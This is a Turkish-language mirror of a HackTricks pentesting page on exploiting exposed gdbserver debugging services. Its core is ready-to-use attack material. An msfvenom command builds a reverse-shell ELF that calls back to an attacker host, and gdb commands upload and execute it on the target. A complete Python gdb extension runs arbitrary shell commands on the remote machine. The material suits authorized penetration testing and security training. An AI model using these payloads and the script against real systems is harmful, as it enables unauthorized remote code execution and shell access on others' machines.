mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 14:40:37 +00:00
216 lines
8 KiB
Markdown
216 lines
8 KiB
Markdown
# Uzaktan GdbServer Pentesting
|
||
|
||
<details>
|
||
|
||
<summary><strong>AWS hacklemeyi sıfırdan kahramanla öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||
|
||
HackTricks'ı desteklemenin diğer yolları:
|
||
|
||
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
|
||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||
|
||
</details>
|
||
|
||
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
**Her yerden erişilebilir zafiyet değerlendirmesi ve penetrasyon testi** için anında kurulum. 20+'den fazla araç ve özellikle tam bir pentest çalıştırın. Bu araçlar ve modüller, pentester'ları değiştirmiyor - onlara daha derine kazma, kabuk açma ve eğlenme zamanı kazandırmak için özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
|
||
|
||
{% embed url="https://pentest-tools.com/" %}
|
||
|
||
## **Temel Bilgiler**
|
||
|
||
**gdbserver**, programların uzaktan hata ayıklamasını sağlayan bir araçtır. Hata ayıklanması gereken programla aynı sistemde, "hedef" olarak bilinen yan yana çalışır. Bu kurulum, **GNU Hata Ayıklayıcısı**nın, kaynak kodunun ve hata ayıklanan programın ikili bir kopyasının depolandığı "ana" makineden bağlanmasını sağlar. **gdbserver** ile hata ayıklayıcı arasındaki bağlantı TCP veya seri bir hat üzerinden yapılabilir, bu da esnek hata ayıklama kurulumlarına olanak tanır.
|
||
|
||
**gdbserver'ın herhangi bir bağlantı noktasında dinlemesini sağlayabilirsiniz** ve şu anda **nmap, hizmeti tanıma yeteneğine sahip değildir**.
|
||
|
||
## Sömürü
|
||
|
||
### Yükleme ve Yürütme
|
||
|
||
**msfvenom ile kolayca bir elf arka kapı oluşturabilir**, bunu yükleyebilir ve yürütebilirsiniz:
|
||
```bash
|
||
# Trick shared by @B1n4rySh4d0w
|
||
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf
|
||
|
||
chmod +x binary.elf
|
||
|
||
gdb binary.elf
|
||
|
||
# Set remote debuger target
|
||
target extended-remote 10.10.10.11:1337
|
||
|
||
# Upload elf file
|
||
remote put binary.elf binary.elf
|
||
|
||
# Set remote executable file
|
||
set remote exec-file /home/user/binary.elf
|
||
|
||
# Execute reverse shell executable
|
||
run
|
||
|
||
# You should get your reverse-shell
|
||
```
|
||
### Keyfi komutları çalıştırma
|
||
|
||
Debugger'ın keyfi komutları çalıştırmasını sağlamak için başka bir yol daha vardır. Bu, [buradan alınan bir Python özel betiği kullanarak](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target) yapılabilir.
|
||
```bash
|
||
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
|
||
target extended-remote 192.168.1.4:2345
|
||
|
||
# Load our custom gdb command `rcmd`.
|
||
source ./remote-cmd.py
|
||
|
||
# Change to a trusty binary and run it to load it
|
||
set remote exec-file /bin/bash
|
||
r
|
||
|
||
# Run until a point where libc has been loaded on the remote process, e.g. start of main().
|
||
tb main
|
||
r
|
||
|
||
# Run the remote command, e.g. `ls`.
|
||
rcmd ls
|
||
```
|
||
Öncelikle **yerel olarak bu betiği oluşturun**:
|
||
|
||
{% code title="remote-cmd.py" %}
|
||
```python
|
||
#!/usr/bin/env python3
|
||
|
||
import gdb
|
||
import re
|
||
import traceback
|
||
import uuid
|
||
|
||
|
||
class RemoteCmd(gdb.Command):
|
||
def __init__(self):
|
||
self.addresses = {}
|
||
|
||
self.tmp_file = f'/tmp/{uuid.uuid4().hex}'
|
||
gdb.write(f"Using tmp output file: {self.tmp_file}.\n")
|
||
|
||
gdb.execute("set detach-on-fork off")
|
||
gdb.execute("set follow-fork-mode parent")
|
||
|
||
gdb.execute("set max-value-size unlimited")
|
||
gdb.execute("set pagination off")
|
||
gdb.execute("set print elements 0")
|
||
gdb.execute("set print repeats 0")
|
||
|
||
super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER)
|
||
|
||
def preload(self):
|
||
for symbol in [
|
||
"close",
|
||
"execl",
|
||
"fork",
|
||
"free",
|
||
"lseek",
|
||
"malloc",
|
||
"open",
|
||
"read",
|
||
]:
|
||
self.load(symbol)
|
||
|
||
def load(self, symbol):
|
||
if symbol not in self.addresses:
|
||
address_string = gdb.execute(f"info address {symbol}", to_string=True)
|
||
match = re.match(
|
||
f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE
|
||
)
|
||
if match and len(match.groups()) > 0:
|
||
self.addresses[symbol] = match.groups()[0]
|
||
else:
|
||
raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".')
|
||
|
||
return self.addresses[symbol]
|
||
|
||
def output(self):
|
||
# From `fcntl-linux.h`
|
||
O_RDONLY = 0
|
||
gdb.execute(
|
||
f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})'
|
||
)
|
||
|
||
# From `stdio.h`
|
||
SEEK_SET = 0
|
||
SEEK_END = 2
|
||
gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})')
|
||
gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})')
|
||
if int(gdb.convenience_variable("len")) <= 0:
|
||
gdb.write("No output was captured.")
|
||
return
|
||
|
||
gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)')
|
||
gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)')
|
||
gdb.execute('printf "%s\\n", (char*) $mem')
|
||
|
||
gdb.execute(f'call (int){self.load("close")}($fd)')
|
||
gdb.execute(f'call (int){self.load("free")}($mem)')
|
||
|
||
def invoke(self, arg, from_tty):
|
||
try:
|
||
self.preload()
|
||
|
||
is_auto_solib_add = gdb.parameter("auto-solib-add")
|
||
gdb.execute("set auto-solib-add off")
|
||
|
||
parent_inferior = gdb.selected_inferior()
|
||
gdb.execute(f'set $child_pid = (int){self.load("fork")}()')
|
||
child_pid = gdb.convenience_variable("child_pid")
|
||
child_inferior = list(
|
||
filter(lambda x: x.pid == child_pid, gdb.inferiors())
|
||
)[0]
|
||
gdb.execute(f"inferior {child_inferior.num}")
|
||
|
||
try:
|
||
gdb.execute(
|
||
f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)'
|
||
)
|
||
except gdb.error as e:
|
||
if (
|
||
"The program being debugged exited while in a function called from GDB"
|
||
in str(e)
|
||
):
|
||
pass
|
||
else:
|
||
raise e
|
||
finally:
|
||
gdb.execute(f"inferior {parent_inferior.num}")
|
||
gdb.execute(f"remove-inferiors {child_inferior.num}")
|
||
|
||
self.output()
|
||
except Exception as e:
|
||
gdb.write("".join(traceback.TracebackException.from_exception(e).format()))
|
||
raise e
|
||
finally:
|
||
gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')
|
||
|
||
|
||
RemoteCmd()
|
||
```
|
||
{% endcode %}
|
||
|
||
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
**Hemen kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. Keşiften raporlamaya kadar 20'den fazla araç ve özellikle herhangi bir yerden tam bir pentest çalıştırın. Pentesterları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanıyorlar.
|
||
|
||
{% embed url="https://pentest-tools.com/" %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
HackTricks'i desteklemenin diğer yolları:
|
||
|
||
* Şirketinizi HackTricks'te **reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
|
||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||
* Hacking hilelerinizi göndererek **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın.
|
||
|
||
</details>
|